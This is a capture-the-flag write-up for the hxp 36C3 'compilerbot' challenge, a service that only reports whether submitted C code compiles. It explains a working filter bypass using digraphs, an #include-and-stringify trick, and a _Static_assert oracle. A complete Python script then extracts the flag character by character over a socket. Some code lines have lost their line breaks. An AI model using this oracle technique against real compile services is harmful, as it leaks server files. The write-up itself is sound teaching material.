# hxp 36C3 CTF: compilerbot
> If [Compiler Explorer](https://godbolt.org/) is too bloated for you, you can always rely on our excellent compiler bot to tell you whether you screwed up while coding your latest exploit.  > >And since we never actually run your code, there’s no way for you to hack it!>> Download: [compilerbot-f64128acb63c6bbe.tar.xz](https://2019.ctf.link/assets/files/compilerbot-f64128acb63c6bbe.tar.xz) (10.9 KiB)  > Connection: `nc 88.198.154.157 8011`
The goal in this challenge is to obtain the flag by querying whether a piece of C code compiles. The server removes curly braces and the pound sign (`#`) via 
```pythoncode.translate(str.maketrans('', '', '{#}'))```
This can easily be bypassed by using the digraphs `<%`, `%:`, and `%>` instead. During the CTF, a lot more teams seemed to use the (deprecated?) trigraphs `??<`, `??>`, and `??=`, which requires disabling warnings with `_Pragma` but is otherwise equivalent.
There is a number of ways to get the actual file included (GNU assembler has the directives `.include` and `.incbin` for this), but `#include "flag"` is sufficient here. Some teams found innovative solutions based on playing with inline assembly; this writeup will instead demonstrate a short C-only solution. To operate on individual flag characters after `#include`, it is easiest to turn it into a string (in theory, you could also brute-force the flag using `#pragma poison` or similar methods, which is why the flag is so long):
```c#define _str(x) #x#define str(x) _str(x)```
 Unfortunately, the compiler will not let us simply
```cstr( #include "flag")```
because we are not allowed to have `#include`s within a macro invocation.(the compiler complains about an ""unterminated argument list invokingmacro"). However, Clang (not GCC!) lets us use the flag format to our advantage: Byusing `#define hxp str(`, we can turn
```c#include "flag")```
into
```cstr({flag_contents_here})```
We have C11 support, so we can use `_Static_assert(condition, message)` tocheck whether a condition is true at compile time. However, the conditionmust be an "integer constant expression", which means that Clang stops usfrom simply indexing into the string, regardless of whether we assign it toan array or a pointer or index the literal directly.
However, Clang _does_ let us use the character extracted directly from thestring in other locations where the standard is not as strict:
```cstatic const char thing[str(...)[0]];_Static_assert(sizeof(thing) == '{', "...");```
GCC rightfully complains about this: "variably modified ‘thing’ at file scope".This finally allows us to binary search over every flag character to get theflag:
```hxp{Cl4n6_15_c00l_bu7_y0u_r34lly_0u6h7_70_7ry_gcc_-traditional-cpp_s0m3_d4y}```
Here is the full code:
```python#!/usr/bin/python3
import argparseimport base64import socketimport textwrap
PREFIX = textwrap.dedent(r'''    %>
    %:define _str(x) %:x    %:define str(x) _str(x)    %:define hxp str(
    %:pragma clang diagnostic ignored "-Wpedantic"    %:pragma clang diagnostic ignored "-Wunneeded-internal-declaration"''')
SUFFIX = textwrap.dedent(r'''    void test(void) <%''')
def query(endpoint, code):    code = base64.b64encode((PREFIX + code + SUFFIX).encode())    with socket.socket(socket.AF_INET) as so:        so.connect(endpoint)        assert so.recv(1024) == b'> '        so.sendall(code + b'\n')        response = so.recv(1024).decode().strip()        return {'OK': True, 'Not OK': False}[response]
if __name__ == '__main__':    p = argparse.ArgumentParser()    p.add_argument('-H', '--host', help='Target host', default='localhost')    p.add_argument('-p', '--port', help='Target port', type=int, default=8011)    args = p.parse_args()
    endpoint = (args.host, args.port)
    # Iteratively search for flag characters    # We know that the last character will be a }, so that's when we stop    index = 1    flag_content = 'hxp{'    while not flag_content.endswith('}'):        range_low, range_high = 0, 127 # Inclusive ranges
        while range_low != range_high:            midpoint = (range_low + range_high) // 2            code = textwrap.dedent(fr'''                static const char thing[                    %:include "flag"                )[{index}]];
                _Static_assert(sizeof(thing) <= {midpoint}, "Fail");            ''')            if query(endpoint, code):                range_high = midpoint            else:                range_low = midpoint + 1            print(f'\r\x1b[32m{flag_content}\x1b[33m{chr(range_low)}\x1b[0m', end='', flush=True)
        flag_content += chr(range_low)        index += 1        print(f'\r\x1b[32m{flag_content}\x1b[0m', end='', flush=True)    print()```
